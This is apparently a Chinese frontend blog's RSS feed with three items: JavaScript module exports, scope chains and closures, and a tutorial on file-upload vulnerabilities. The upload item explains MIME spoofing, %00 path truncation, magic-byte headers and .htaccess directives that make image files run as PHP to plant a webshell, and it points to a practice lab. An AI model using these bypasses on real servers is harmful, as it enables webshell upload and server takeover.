&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//类的方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;show&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;site&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//b.js 中导入并使用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//导入类
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./a.js&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//创建类的一个对象person
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;person&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//调用类的方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;person&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;show&lt;/span&gt;() &lt;span style="color:#75715e"&gt;//输出：www.helloworld.net
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;#### 5.2 第二种写法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;````js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//a.js 中定义一个类，最后导出
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;class Person {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; //类的属性
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; site = &amp;#34;www.helloworld.net&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; //类的方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; show(){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; console.log(this.site)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//导出这个类
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;export default Person
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//b.js 中导入并使用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//导入类
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;import Person from &amp;#39;./a.js&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//创建类的一个对象person
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;let person = new Person()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;//调用类的方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;person.show() //输出：www.helloworld.net
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;###&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;小结&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;下面我们简单总结一下&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;`export`&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;与&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`export default`&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;的区别&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;export与export&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;default均可用于导出常量&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;函数&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;文件&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;模块等&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;可以在其它文件或模块中通过import&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;常量&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;函数&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;文件&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;模块&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;名的方式&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;将其导入&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;以便能够对其进行使用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;default后面不能跟const或let的关键词&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;export&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;import可以有多个&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;default仅有一个&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;通过export方式导出&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;在导入时要加&lt;/span&gt; { }&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;default则不需要&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;export具名导出xxx&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;default匿名&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;区别在于导入的时候&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;export需要一样的名称才能匹配&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;后者无论取什么名都可以&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;模块化管理中一个文件就是一个模块&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;export可以导出多个方法和变量&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;default只能导出当前模块&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;一个js文件中只支持出现一个&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;对于&lt;/span&gt; &lt;span style="color:#e6db74"&gt;`import`&lt;/span&gt; ,&lt;span style="color:#e6db74"&gt;`export`&lt;/span&gt; , &lt;span style="color:#e6db74"&gt;`export default`&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;他们的用法上面的例子已经很详细的列出了&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;忘记的时候&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;可以当作参考看看&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;最重要的还是要明白为什么要这么写&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;实在不明白记住就行了&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h3 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;export&lt;/code&gt; 的基本使用&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;export&lt;/code&gt; 用于导出模块中的内容（如变量、函数、类等），使得其他模块能够导入这些内容。&lt;/p&gt;</description></item><item><title>文件上传安全</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-007/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-007/</guid><description>&lt;h2 id="文件上传漏洞简介"&gt;文件上传漏洞简介&lt;/h2&gt;
&lt;h3 id="原理"&gt;&lt;strong&gt;原理&lt;/strong&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本到服务器上,然后访问这些恶意脚本中包含的恶意代码,从而获得了执行服务器端命令的能力,进一步影响服务器安全。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="危害"&gt;危害&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;文件上传漏洞最直接的威胁就是上传任意文件，包括恶意脚本、可执行程序等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;如果Web 服务器所保存上传文件的可写目录具有执行权限，那么就可以直接上传后门文件，导致网站沦陷。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;如果攻击者通过其他漏洞进行提权操纵，拿到系统管理权限，那么直接导致服务器沦陷。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;同服务器下的其他网站无一幸免，均会被攻击者控制。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="利用"&gt;利用&lt;/h3&gt;
&lt;p&gt;对于利用，我们只需要有个文件上传的点，以及我们知道我们所传的文件所在目录并且上传的恶意文件能够被web容器解析执行，便可能存在文件上传漏洞。&lt;/p&gt;
&lt;h2 id="实战"&gt;实战&lt;/h2&gt;
&lt;p&gt;说是实战但是因为不能随便入侵别人的机器(有概率获取银手镯一套)，这里给大家推荐一个专门用来练习文件上传漏洞的不同利用方法的靶场。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/c0ny1/upload-labs"&gt;github.com/c0ny1/uploa…&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-007/image-01.webp"&gt; 可以看到里面有很多关卡，对于环境的搭建，这里我推荐用phpstudy去进行一键搭建，比较适合入门的萌新，具体搭建方法不是本文的重点，于是我们跳过，接下来给大家带来文件上传漏洞一些常见的绕过方法。&lt;/p&gt;
&lt;h3 id="客户端检测绕过"&gt;客户端检测绕过&lt;/h3&gt;
&lt;p&gt;有的客户端会存在客户端校验，校验上传文件的后缀名，当我们传入php木马时可能会因为类型不同被禁止，此时我们要怎么进行上传一句话木马呢，这里给大家提供两个思路，第一个我们可以禁用浏览器的JS脚本，第二种方法便是使用渗透中常用工具burpsuit进行抓包，然后修改文件后缀为php即可绕过，因为他只是做了一个前端的简单验证。&lt;/p&gt;
&lt;h3 id="修改mime-类型"&gt;修改MIME 类型&lt;/h3&gt;
&lt;p&gt;有的服务器端将会对上传文件content-type类型进行检查以此来防范恶意文件的上传，这时我们打开burp suite将php文件上传，因为content-type的类型不是服务器认可的类型，那么我们就可以使用burpsuite进行修改该文件类型，并将该文件进行上传。&lt;/p&gt;
&lt;p&gt;常见的content-type对应类型如下：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-007/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="00截断绕过"&gt;&lt;strong&gt;00截断绕过&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;运用此漏洞需要满足两个条件：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1.php版本小于5.3.4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;2.php的magic_quotes_gpc为OFF状态&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;0x开头表示16进制，0在十六进制中是00, 0x00就是%00解码成的16进制，具体运用方法如下，假如我们上传一个一句话木马：&lt;/p&gt;
&lt;p&gt;攻击者修改了path以后的拼接结果为：uploads/XINO.php%00/20190818.php，移动文件的时候会将文件保存为：uploads/XINO.php，以此我们便可以绕过检测来上传一句话木马。&lt;/p&gt;
&lt;h3 id="htaccess文件攻击"&gt;&lt;strong&gt;.htaccess文件攻击&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;.htaccess&lt;/strong&gt;文件(或者&amp;quot;分布式配置文件&amp;quot;）,全称是&lt;strong&gt;Hypertext Access&lt;/strong&gt;(超文本入口)。提供了针对目录改变配置的方法， 即，在一个特定的文档目录中放置一个包含一个或多个&lt;strong&gt;指令&lt;/strong&gt;的文件， 以作用于此目录及其所有子目录。&lt;/p&gt;
&lt;p&gt;简单来说该文件的作用就是根据里面的内容解析为我们想要的类型，这么说可能很难理解，比如我上传一个图片马（JPG文件里插入了一句话木马），因为网站对我们的上传类型做了限制，我们上传不了PHP文件，我们先上传一个JPG的图片马，然后上传 &lt;strong&gt;.htaccess文件，&lt;/strong&gt; 将图片解析为php语言，来达到getshell的目的。具体的文件内的内容为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;FilesMatch &lt;span style="color:#e6db74"&gt;&amp;#34;evil.gif&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SetHandler application/x-httpd-php#在当前目录下，如果匹配到evil.gif文件，则被解析成PHP代码执行
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AddHandler php5-script .gif &lt;span style="color:#75715e"&gt;#在当前目录下，如果匹配到evil.gif文件，则被解析成PHP代码执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/FilesMatch&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;当然不止这一种，还能如下写法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AddHandler php5-script .jpg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AddType application/x-httpd-php .jpg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sethandler application/x-httpd-php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="文件头检测"&gt;文件头检测&lt;/h3&gt;
&lt;p&gt;当我们上传一些文件时，有些拦截会检测我们文件里的具体内容，如果匹配了正确的文件头则会通过检测，反之则会拦截我们的文件，针对如此我们可以利用在文件前写入适当文件类型的文件头来绕过。常用的文件头如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;JPG：FF D8 FF E0 00 10 4A 46 49 46&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;GIF ：47 49 46 38 39 61 (GIF89a)&lt;/p&gt;</description></item><item><title>作用域链与闭包</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-007/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-007/</guid><description>&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-007/image-01.png"&gt;&lt;br&gt;
初学JavaScript的时候，我在学习闭包上，走了很多弯路。而这次重新回过头来对基础知识进行梳理，要讲清楚闭包，也是一个非常大的挑战。&lt;/p&gt;
&lt;p&gt;闭包有多重要？如果你是初入前端的朋友，我没有办法直观的告诉你闭包在实际开发中的无处不在，但是我可以告诉你，&lt;strong&gt;前端面试，必问闭包&lt;/strong&gt;。面试官们常常用对闭包的了解程度来判定面试者的基础水平，保守估计，10个前端面试者，至少5个都死在闭包上。&lt;/p&gt;
&lt;p&gt;可是为什么，闭包如此重要，还是有那么多人没有搞清楚呢？是因为大家不愿意学习吗？还真不是，而是我们通过搜索找到的大部分讲解闭包的中文文章，都没有清晰明了的把闭包讲解清楚。要么浅尝辄止，要么高深莫测，要么干脆就直接乱说一通。包括我自己曾经也写过一篇关于闭包的总结，回头一看，不忍直视[捂脸]。&lt;/p&gt;
&lt;p&gt;因此本文的目的就在于，能够清晰明了得把闭包说清楚，让读者朋友们看了之后，就把闭包给彻底学会了，而不是似懂非懂。&lt;/p&gt;
&lt;h5 id="一作用域与作用域链"&gt;一、作用域与作用域链&lt;/h5&gt;
&lt;p&gt;在详细讲解作用域链之前，我默认你已经大概明白了JavaScript中的下面这些重要概念。这些概念将会非常有帮助。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基础数据类型与引用数据类型&lt;/li&gt;
&lt;li&gt;内存空间&lt;/li&gt;
&lt;li&gt;垃圾回收机制&lt;/li&gt;
&lt;li&gt;执行上下文&lt;/li&gt;
&lt;li&gt;变量对象与活动对象&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你暂时还没有明白，可以去看本系列的前三篇文章，本文文末有目录链接。为了讲解闭包，已经为大家做好了基础知识的铺垫哦。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;作用域&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在JavaScript中，我们可以将作用域定义为一套规则,这套规则用来管理引擎如何在当前作用域以及嵌套的子作用域中根据标识符名称进行变量查找。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这里的标识符，指的是变量名或者函数名&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;JavaScript中只有全局作用域与函数作用域(因为eval我们平时开发中几乎不会用到它，这里不讨论)。&lt;/li&gt;
&lt;li&gt;作用域与执行上下文是完全不同的两个概念。我知道很多人会混淆他们，但是一定要仔细区分。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;JavaScript代码的整个执行过程，分为两个阶段，代码编译阶段与代码执行阶段。编译阶段由编译器完成，将代码翻译成可执行代码，这个阶段作用域规则会确定。执行阶段由引擎完成，主要任务是执行可执行代码，执行上下文在这个阶段创建。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-007/image-02.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;作用域链&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;回顾一下，我们分析过的执行上下文的生命周期，如下图： &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-007/image-03.png"&gt;&lt;/p&gt;
&lt;p&gt;我们知道函数在调用激活时，会开始创建对应的执行上下文，在执行上下文生成的过程中，变量对象，作用域链，以及this的值会分别被确定。之前一篇文章我们详细说明了变量对象，而这里，我们将详细说明作用域链。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;作用域链，是由当前环境与上层环境的一系列变量对象组成，它保证了当前执行环境对符合访问权限的变量和函数的有序访问。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了帮助大家理解作用域链，我我们先结合一个例子，以及相应的图示来说明。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;test&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;innerTest&lt;/span&gt;() {
